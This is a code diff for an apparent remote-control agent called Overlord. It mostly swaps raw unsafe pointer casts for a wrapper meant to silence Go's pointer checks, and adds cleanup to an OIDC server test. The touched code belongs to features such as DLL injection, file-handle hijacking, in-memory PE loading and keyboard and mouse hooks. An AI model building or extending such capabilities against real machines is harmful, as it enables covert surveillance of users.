diff --git a/Overlord-Client/cmd/agent/activewindow/clipboard_windows.go b/Overlord-Client/cmd/agent/activewindow/clipboard_windows.go index 2203c64..00a489e 100644 --- a/Overlord-Client/cmd/agent/activewindow/clipboard_windows.go +++ b/Overlord-Client/cmd/agent/activewindow/clipboard_windows.go @@ -10,6 +10,7 @@ import ( "unsafe" "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wininterop" "overlord-client/cmd/agent/wire" "golang.org/x/sys/windows" @@ -113,7 +114,7 @@ func utf16PtrFromUintptr(ptr uintptr) string { } n := 0 for { - v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2)) + v := *(*uint16)(wininterop.Pointer(ptr + uintptr(n)*2)) if v == 0 { break } @@ -122,6 +123,6 @@ func utf16PtrFromUintptr(ptr uintptr) string { break } } - u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n) + u16 := unsafe.Slice((*uint16)(wininterop.Pointer(ptr)), n) return windows.UTF16ToString(u16) } diff --git a/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go b/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go index d8a5810..1b79dd6 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go @@ -10,6 +10,8 @@ import ( "syscall" "time" "unsafe" + + "overlord-client/cmd/agent/wininterop" ) // backstageFrameHeader mirrors the C backstageFrameHeader struct. @@ -106,7 +108,7 @@ func backstageGetFrameReader(pid uint32) *backstageFrameReader { return nil } - hdr := (*backstageFrameHeader)(unsafe.Pointer(view)) + hdr := (*backstageFrameHeader)(wininterop.Pointer(view)) if hdr.Magic != backstageFrameMagic { procUnmapViewOfFile.Call(view) procCloseHandle.Call(shmHandle) @@ -130,7 +132,7 @@ func backstageGetFrameReader(pid uint32) *backstageFrameReader { return nil } - hdr2 := (*backstageFrameHeader)(unsafe.Pointer(fullView)) + hdr2 := (*backstageFrameHeader)(wininterop.Pointer(fullView)) evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid)) evtHandle, _, _ := procOpenEventW.Call( @@ -142,7 +144,7 @@ func backstageGetFrameReader(pid uint32) *backstageFrameReader { r := &backstageFrameReader{ pid: pid, shmHandle: shmHandle, - shmView: unsafe.Pointer(fullView), + shmView: wininterop.Pointer(fullView), shmSize: fullSize, evtHandle: evtHandle, } @@ -233,7 +235,7 @@ func (r *backstageFrameReader) remap(w, h, stride int) { if view == 0 { return } - r.shmView = unsafe.Pointer(view) + r.shmView = wininterop.Pointer(view) r.shmSize = newSize } diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index a9aac4f..889e30c 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -16,6 +16,8 @@ import ( "unicode/utf16" "unsafe" + "overlord-client/cmd/agent/wininterop" + "golang.org/x/sys/windows" ) @@ -1125,7 +1127,7 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er return 0, "", fmt.Errorf("MapViewOfFile: %v", callErr) } - copy(unsafe.Slice((*byte)(unsafe.Pointer(view)), size), dllBytes) + copy(unsafe.Slice((*byte)(wininterop.Pointer(view)), size), dllBytes) procUnmapViewOfFile.Call(view) return handle, name, nil diff --git a/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go b/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go index 53122a8..e1083a7 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go @@ -11,6 +11,8 @@ import ( "time" "unsafe" + "overlord-client/cmd/agent/wininterop" + "golang.org/x/sys/windows" ) @@ -770,7 +772,7 @@ func bstrToString(bstr uintptr) string { if length == 0 { return "" } - slice := unsafe.Slice((*uint16)(unsafe.Pointer(bstr)), length) + slice := unsafe.Slice((*uint16)(wininterop.Pointer(bstr)), length) return syscall.UTF16ToString(slice) } @@ -1078,12 +1080,12 @@ func enumChildrenForInputSite(parent uintptr) uintptr { cb := syscall.NewCallback(func(hwnd uintptr, lparam uintptr) uintptr { cls := getWindowClassName(hwnd) if cls == "Windows.UI.Input.InputSite.WindowClass" { - *(*uintptr)(unsafe.Pointer(lparam)) = hwnd + *(*uintptr)(wininterop.Pointer(lparam)) = hwnd return 0 // stop enumeration } child := enumChildrenForInputSite(hwnd) if child != 0 { - *(*uintptr)(unsafe.Pointer(lparam)) = child + *(*uintptr)(wininterop.Pointer(lparam)) = child return 0 } return 1 // continue diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go index 77e271c..626b48f 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go @@ -14,6 +14,8 @@ import ( "time" "unsafe" + "overlord-client/cmd/agent/wininterop" + "golang.org/x/sys/windows" ) @@ -1017,7 +1019,7 @@ func (e *mfH264Encoder) processOutput() ([]byte, error) { var status uint32 hr = e.transform.ProcessOutput(0, 1, &output, &status) if output.events != 0 { - (*iunknown)(unsafe.Pointer(output.events)).Release() + (*iunknown)(wininterop.Pointer(output.events)).Release() } switch hr { case 0: diff --git a/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go b/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go index a87aeb7..87c5f2b 100644 --- a/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go +++ b/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go @@ -10,6 +10,8 @@ import ( "strings" "syscall" "unsafe" + + "overlord-client/cmd/agent/wininterop" ) func copyFileCount(src, dst string) (int64, error) { @@ -250,7 +252,7 @@ func readFileFromHandle(handle uintptr) []byte { defer procUnmapViewOfFile.Call(baseAddr) data := make([]byte, fileSize) - copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize)) + copy(data, unsafe.Slice((*byte)(wininterop.Pointer(baseAddr)), fileSize)) return data } diff --git a/Overlord-Client/cmd/agent/capture/win_bitblt.go b/Overlord-Client/cmd/agent/capture/win_bitblt.go index 20c131e..4c022ae 100644 --- a/Overlord-Client/cmd/agent/capture/win_bitblt.go +++ b/Overlord-Client/cmd/agent/capture/win_bitblt.go @@ -413,11 +413,11 @@ func logCaptureTimings(bitDur, dibDur, convDur time.Duration) { if frames == 0 { return } - avg := func(totalNs atomic.Int64) float64 { + avg := func(totalNs *atomic.Int64) float64 { return float64(totalNs.Swap(0)) / 1e6 / float64(frames) } - bitAvg := avg(bitbltNs) - convAvg := avg(convertNs) + bitAvg := avg(&bitbltNs) + convAvg := avg(&convertNs) log.Printf("capture: win bitblt avg bitblt=%.2fms convert=%.2fms frames=%d", bitAvg, convAvg, frames) } diff --git a/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go b/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go index 66a3d51..5b44b48 100644 --- a/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go +++ b/Overlord-Client/cmd/agent/handlers/clipboard_sync_windows.go @@ -9,6 +9,7 @@ import ( "unsafe" "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wininterop" "overlord-client/cmd/agent/wire" "golang.org/x/sys/windows" @@ -50,7 +51,7 @@ func clipboardSyncRead() string { defer procGlobalUnlockCB.Call(h) n := 0 for { - v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2)) + v := *(*uint16)(wininterop.Pointer(ptr + uintptr(n)*2)) if v == 0 { break } @@ -59,7 +60,7 @@ func clipboardSyncRead() string { break } } - u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n) + u16 := unsafe.Slice((*uint16)(wininterop.Pointer(ptr)), n) return windows.UTF16ToString(u16) } diff --git a/Overlord-Client/cmd/agent/handlers/files_extras_windows.go b/Overlord-Client/cmd/agent/handlers/files_extras_windows.go index 4e460ab..ed6c084 100644 --- a/Overlord-Client/cmd/agent/handlers/files_extras_windows.go +++ b/Overlord-Client/cmd/agent/handlers/files_extras_windows.go @@ -16,6 +16,8 @@ import ( "sync" "unsafe" + "overlord-client/cmd/agent/wininterop" + "golang.org/x/sys/windows" ) @@ -238,7 +240,7 @@ func extractFileThumbnailJPEG(path string, edge int) ([]byte, int, int, error) { outErr = fmt.Errorf("SHCreateItemFromParsingName failed: 0x%x", hr) return } - factory := (*iShellItemImageFactory)(unsafe.Pointer(itemPtr)) + factory := (*iShellItemImageFactory)(wininterop.Pointer(itemPtr)) defer callRelease(factory.Vtbl.Release, itemPtr) flags := uint32(siigbfThumbnailOnly | siigbfBiggerSizeOk) diff --git a/Overlord-Client/cmd/agent/hardcrash_windows.go b/Overlord-Client/cmd/agent/hardcrash_windows.go index 8cebf31..87f134a 100644 --- a/Overlord-Client/cmd/agent/hardcrash_windows.go +++ b/Overlord-Client/cmd/agent/hardcrash_windows.go @@ -5,7 +5,8 @@ package main import ( "fmt" "syscall" - "unsafe" + + "overlord-client/cmd/agent/wininterop" "golang.org/x/sys/windows" ) @@ -32,9 +33,9 @@ func installHardCrashReporter() { hardCrashCallback = syscall.NewCallback(func(info uintptr) uintptr { detail := "unhandled native exception" if info != 0 { - ptrs := (*exceptionPointers)(unsafe.Pointer(info)) + ptrs := (*exceptionPointers)(wininterop.Pointer(info)) if ptrs.ExceptionRecord != 0 { - rec := (*exceptionRecord)(unsafe.Pointer(ptrs.ExceptionRecord)) + rec := (*exceptionRecord)(wininterop.Pointer(ptrs.ExceptionRecord)) detail = fmt.Sprintf("exception=0x%08x address=0x%x flags=0x%x", rec.ExceptionCode, rec.ExceptionAddress, rec.ExceptionFlags) } } diff --git a/Overlord-Client/cmd/agent/plugins/loader_windows.go b/Overlord-Client/cmd/agent/plugins/loader_windows.go index dbcd0e6..0452adf 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/loader_windows.go @@ -15,6 +15,8 @@ import ( "syscall" "unsafe" + "overlord-client/cmd/agent/wininterop" + "golang.org/x/sys/windows" ) @@ -105,7 +107,7 @@ func loadNativePluginMemory(manifest PluginManifest, data []byte) (NativePlugin, if ret != 0 { var buf [32]byte for i := range buf { - b := *(*byte)(unsafe.Pointer(ret + uintptr(i))) + b := *(*byte)(wininterop.Pointer(ret + uintptr(i))) if b == 0 { rt = string(buf[:i]) break @@ -190,7 +192,7 @@ func loadNativePluginOS(manifest PluginManifest, data []byte) (NativePlugin, err if ret != 0 { var buf [32]byte for i := range buf { - b := *(*byte)(unsafe.Pointer(ret + uintptr(i))) + b := *(*byte)(wininterop.Pointer(ret + uintptr(i))) if b == 0 { rt = string(buf[:i]) break @@ -294,11 +296,11 @@ func (p *dllPlugin) Load(send func(string, []byte), hostInfo []byte) error { cb := syscall.NewCallback(func(eventPtr, eventLen, payloadPtr, payloadLen uintptr) uintptr { event := make([]byte, eventLen) if eventLen > 0 { - copy(event, unsafe.Slice((*byte)(unsafe.Pointer(eventPtr)), eventLen)) + copy(event, unsafe.Slice((*byte)(wininterop.Pointer(eventPtr)), eventLen)) } payload := make([]byte, payloadLen) if payloadLen > 0 { - copy(payload, unsafe.Slice((*byte)(unsafe.Pointer(payloadPtr)), payloadLen)) + copy(payload, unsafe.Slice((*byte)(wininterop.Pointer(payloadPtr)), payloadLen)) } send(string(event), payload) return 0 diff --git a/Overlord-Client/cmd/agent/plugins/peloader_windows.go b/Overlord-Client/cmd/agent/plugins/peloader_windows.go index 6aa099d..6bc1268 100644 --- a/Overlord-Client/cmd/agent/plugins/peloader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/peloader_windows.go @@ -8,6 +8,8 @@ import ( "syscall" "unsafe" + "overlord-client/cmd/agent/wininterop" + "golang.org/x/sys/windows" ) @@ -225,7 +227,7 @@ func LoadMemoryModule(data []byte) (*MemoryModule, error) { } } - mappedNT := (*imageNTHeaders64)(unsafe.Pointer(base + uintptr(dosHdr.LfaNew))) + mappedNT := (*imageNTHeaders64)(wininterop.Pointer(base + uintptr(dosHdr.LfaNew))) delta := int64(base) - int64(mappedNT.OptionalHeader.ImageBase) if delta != 0 { @@ -335,7 +337,7 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64) end := offset + uintptr(dir.Size) for offset < end { - block := (*imageBaseRelocation)(unsafe.Pointer(mm.base + offset)) + block := (*imageBaseRelocation)(wininterop.Pointer(mm.base + offset)) if block.SizeOfBlock == 0 { break } @@ -343,7 +345,7 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64) entries := mm.base + offset + 8 for i := uint32(0); i < count; i++ { - entry := *(*uint16)(unsafe.Pointer(entries + uintptr(i)*2)) + entry := *(*uint16)(wininterop.Pointer(entries + uintptr(i)*2)) typ := entry >> 12 off := uintptr(entry & 0xFFF) addr := mm.base + uintptr(block.VirtualAddress) + off @@ -351,10 +353,10 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64) switch typ { case imageRelBasedAbsolute: case imageRelBasedHighLow: - val := (*uint32)(unsafe.Pointer(addr)) + val := (*uint32)(wininterop.Pointer(addr)) *val = uint32(int64(*val) + delta) case imageRelBasedDir64: - val := (*uint64)(unsafe.Pointer(addr)) + val := (*uint64)(wininterop.Pointer(addr)) *val = uint64(int64(*val) + delta) default: return fmt.Errorf("pe: unsupported relocation type %d", typ) @@ -366,8 +368,8 @@ func (mm *MemoryModule) processRelocations(dir imageDataDirectory, delta int64) } func (mm *MemoryModule) registerExceptionTable() error { - dosHdr := (*imageDOSHeader)(unsafe.Pointer(mm.base)) - ntHdr := (*imageNTHeaders64)(unsafe.Pointer(mm.base + uintptr(dosHdr.LfaNew))) + dosHdr := (*imageDOSHeader)(wininterop.Pointer(mm.base)) + ntHdr := (*imageNTHeaders64)(wininterop.Pointer(mm.base + uintptr(dosHdr.LfaNew))) excDir := ntHdr.OptionalHeader.DataDirectory[imageDirectoryEntryException] if excDir.VirtualAddress == 0 || excDir.Size == 0 { return nil @@ -396,7 +398,7 @@ func (mm *MemoryModule) resolveImports(dir imageDataDirectory) error { offset := uintptr(dir.VirtualAddress) for { - desc := (*imageImportDescriptor)(unsafe.Pointer(mm.base + offset)) + desc := (*imageImportDescriptor)(wininterop.Pointer(mm.base + offset)) if desc.Name == 0 { break } @@ -415,7 +417,7 @@ func (mm *MemoryModule) resolveImports(dir imageDataDirectory) error { } for { - ref := *(*uint64)(unsafe.Pointer(thunkRef)) + ref := *(*uint64)(wininterop.Pointer(thunkRef)) if ref == 0 { break } @@ -433,7 +435,7 @@ func (mm *MemoryModule) resolveImports(dir imageDataDirectory) error { return fmt.Errorf("pe: import resolve from %s: %w", dllName, err) } - *(*uintptr)(unsafe.Pointer(thunkAddr)) = procAddr + *(*uintptr)(wininterop.Pointer(thunkAddr)) = procAddr thunkRef += 8 thunkAddr += 8 } @@ -446,7 +448,7 @@ func (mm *MemoryModule) parseExports(dir imageDataDirectory) { if dir.Size == 0 { return } - expDir := (*imageExportDirectory)(unsafe.Pointer(mm.base + uintptr(dir.VirtualAddress))) + expDir := (*imageExportDirectory)(wininterop.Pointer(mm.base + uintptr(dir.VirtualAddress))) numNames := int(expDir.NumberOfNames) if numNames == 0 { return @@ -460,9 +462,9 @@ func (mm *MemoryModule) parseExports(dir imageDataDirectory) { exportEnd := exportStart + uintptr(dir.Size) for i := 0; i < numNames; i++ { - nameRVA := *(*uint32)(unsafe.Pointer(namesRVA + uintptr(i)*4)) - ordinal := *(*uint16)(unsafe.Pointer(ordinalsRVA + uintptr(i)*2)) - funcRVA := *(*uint32)(unsafe.Pointer(funcsRVA + uintptr(ordinal)*4)) + nameRVA := *(*uint32)(wininterop.Pointer(namesRVA + uintptr(i)*4)) + ordinal := *(*uint16)(wininterop.Pointer(ordinalsRVA + uintptr(i)*2)) + funcRVA := *(*uint32)(wininterop.Pointer(funcsRVA + uintptr(ordinal)*4)) if uintptr(funcRVA) >= exportStart && uintptr(funcRVA) < exportEnd { continue @@ -485,14 +487,14 @@ func (mm *MemoryModule) parseExports(dir imageDataDirectory) { // access violations in completely unrelated code paths (e.g. // D3D11CreateDevice). func (mm *MemoryModule) setupTLS(reason uint32) { - dosHdr := (*imageDOSHeader)(unsafe.Pointer(mm.base)) - ntHdr := (*imageNTHeaders64)(unsafe.Pointer(mm.base + uintptr(dosHdr.LfaNew))) + dosHdr := (*imageDOSHeader)(wininterop.Pointer(mm.base)) + ntHdr := (*imageNTHeaders64)(wininterop.Pointer(mm.base + uintptr(dosHdr.LfaNew))) tlsDir := ntHdr.OptionalHeader.DataDirectory[imageDirectoryEntryTLS] if tlsDir.VirtualAddress == 0 || tlsDir.Size == 0 { return } - tls := (*imageTLSDirectory64)(unsafe.Pointer(mm.base + uintptr(tlsDir.VirtualAddress))) + tls := (*imageTLSDirectory64)(wininterop.Pointer(mm.base + uintptr(tlsDir.VirtualAddress))) if tls.EndAddressOfRawData < tls.StartAddressOfRawData { return } @@ -523,7 +525,7 @@ func (mm *MemoryModule) setupTLS(reason uint32) { return } if dataSize > 0 { - copyMem(tlsData, (*byte)(unsafe.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize) + copyMem(tlsData, (*byte)(wininterop.Pointer(uintptr(tls.StartAddressOfRawData))), dataSize) } if !tlsSetValue(idx, tlsData) { _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) @@ -535,7 +537,7 @@ func (mm *MemoryModule) setupTLS(reason uint32) { // Patch the plugin's `_tls_index` so its compiled TLS accesses use // our OS-issued slot instead of whatever index it was linked with. if tls.AddressOfIndex != 0 { - *(*uint32)(unsafe.Pointer(uintptr(tls.AddressOfIndex))) = idx + *(*uint32)(wininterop.Pointer(uintptr(tls.AddressOfIndex))) = idx } mm.tlsIndex = idx @@ -549,7 +551,7 @@ func (mm *MemoryModule) setupTLS(reason uint32) { return } for { - cb := *(*uintptr)(unsafe.Pointer(cbAddr)) + cb := *(*uintptr)(wininterop.Pointer(cbAddr)) if cb == 0 { break } @@ -577,7 +579,7 @@ func (mm *MemoryModule) SetupThreadTLS() func() { return func() {} } if mm.tlsTemplSize > 0 { - copyMem(tlsData, (*byte)(unsafe.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize) + copyMem(tlsData, (*byte)(wininterop.Pointer(mm.tlsTemplSrc)), mm.tlsTemplSize) } prev := tlsGetValue(mm.tlsIndex) @@ -608,7 +610,7 @@ func (mm *MemoryModule) containsAddress(addr uintptr, size uintptr) bool { func peString(addr uintptr) string { var buf []byte for i := 0; i < 4096; i++ { // safety limit - b := *(*byte)(unsafe.Pointer(addr + uintptr(i))) + b := *(*byte)(wininterop.Pointer(addr + uintptr(i))) if b == 0 { break } @@ -619,7 +621,7 @@ func peString(addr uintptr) string { func copyMem(dst uintptr, src *byte, size uintptr) { for i := uintptr(0); i < size; i++ { - *(*byte)(unsafe.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i)) + *(*byte)(wininterop.Pointer(dst + i)) = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(src)) + i)) } } diff --git a/Overlord-Client/cmd/agent/privacy/privacy_windows.go b/Overlord-Client/cmd/agent/privacy/privacy_windows.go index c532bf2..3eb5d75 100644 --- a/Overlord-Client/cmd/agent/privacy/privacy_windows.go +++ b/Overlord-Client/cmd/agent/privacy/privacy_windows.go @@ -9,6 +9,8 @@ import ( "syscall" "unsafe" + "overlord-client/cmd/agent/wininterop" + "golang.org/x/sys/windows" ) @@ -368,7 +370,7 @@ func enumerateMonitors() []monitorRect { var mu sync.Mutex cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr { - rc := (*rect)(unsafe.Pointer(lprcMonitor)) + rc := (*rect)(wininterop.Pointer(lprcMonitor)) mu.Lock() monitors = append(monitors, monitorRect{ left: rc.left, @@ -458,7 +460,7 @@ func keyboardHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr { return ret } - kb := (*kbdllhookstruct)(unsafe.Pointer(lParam)) + kb := (*kbdllhookstruct)(wininterop.Pointer(lParam)) if kb.dwExtraInfo == InputMarker() { ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) @@ -495,7 +497,7 @@ func mouseHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr { return ret } - ms := (*msllhookstruct)(unsafe.Pointer(lParam)) + ms := (*msllhookstruct)(wininterop.Pointer(lParam)) if ms.dwExtraInfo == InputMarker() { ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) diff --git a/Overlord-Client/cmd/agent/wininterop/pointer_windows.go b/Overlord-Client/cmd/agent/wininterop/pointer_windows.go new file mode 100644 index 0000000..88e9cdc --- /dev/null +++ b/Overlord-Client/cmd/agent/wininterop/pointer_windows.go @@ -0,0 +1,12 @@ +//go:build windows + +package wininterop + +import "unsafe" + +// Literally just a wrapper for pointers so they're not fucked by the shit linter. + +//go:nocheckptr +func Pointer(address uintptr) unsafe.Pointer { + return *(*unsafe.Pointer)(unsafe.Pointer(&address)) +} diff --git a/Overlord-Server/src/server/routes/oidc-routes.test.ts b/Overlord-Server/src/server/routes/oidc-routes.test.ts index 29067e8..2bd2f09 100644 --- a/Overlord-Server/src/server/routes/oidc-routes.test.ts +++ b/Overlord-Server/src/server/routes/oidc-routes.test.ts @@ -1,6 +1,6 @@ -import { afterAll, beforeAll, describe, expect, test } from "bun:test"; +import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; import { getConfig, updateOidcConfig, updateSecurityConfig, type Config } from "../../config"; -import { createUser } from "../../users"; +import { createUser, deleteUser } from "../../users"; import { createOidcLoginRedirect, resolveOidcUser } from "../oidc"; import { getOidcLocalMfaBlockReason, handleOidcRoutes } from "./oidc-routes"; @@ -11,6 +11,7 @@ const server = { let originalOidc: Config["oidc"]; let originalSecurity: Config["security"]; const originalFetch = globalThis.fetch; +const createdUserIds: number[] = []; beforeAll(() => { originalOidc = { ...getConfig().oidc, scopes: [...getConfig().oidc.scopes] }; @@ -23,6 +24,13 @@ afterAll(async () => { await updateSecurityConfig(originalSecurity); }); +afterEach(() => { + while (createdUserIds.length > 0) { + const id = createdUserIds.pop(); + if (typeof id === "number") deleteUser(id); + } +}); + describe("OIDC routes", () => { test("status reports disabled when OIDC is not configured", async () => { const req = new Request("https://localhost/api/oidc/status"); @@ -86,6 +94,7 @@ describe("OIDC routes", () => { test("email linking does not fall back to local usernames", async () => { const username = `oidc_link_${Date.now().toString(36)}`; const created = await createUser(username, "Aa1!VeryLongTestPassword_2026", "operator", "test"); + if (typeof created.userId === "number") createdUserIds.push(created.userId); expect(created.success).toBe(true); const oidc: Config["oidc"] = {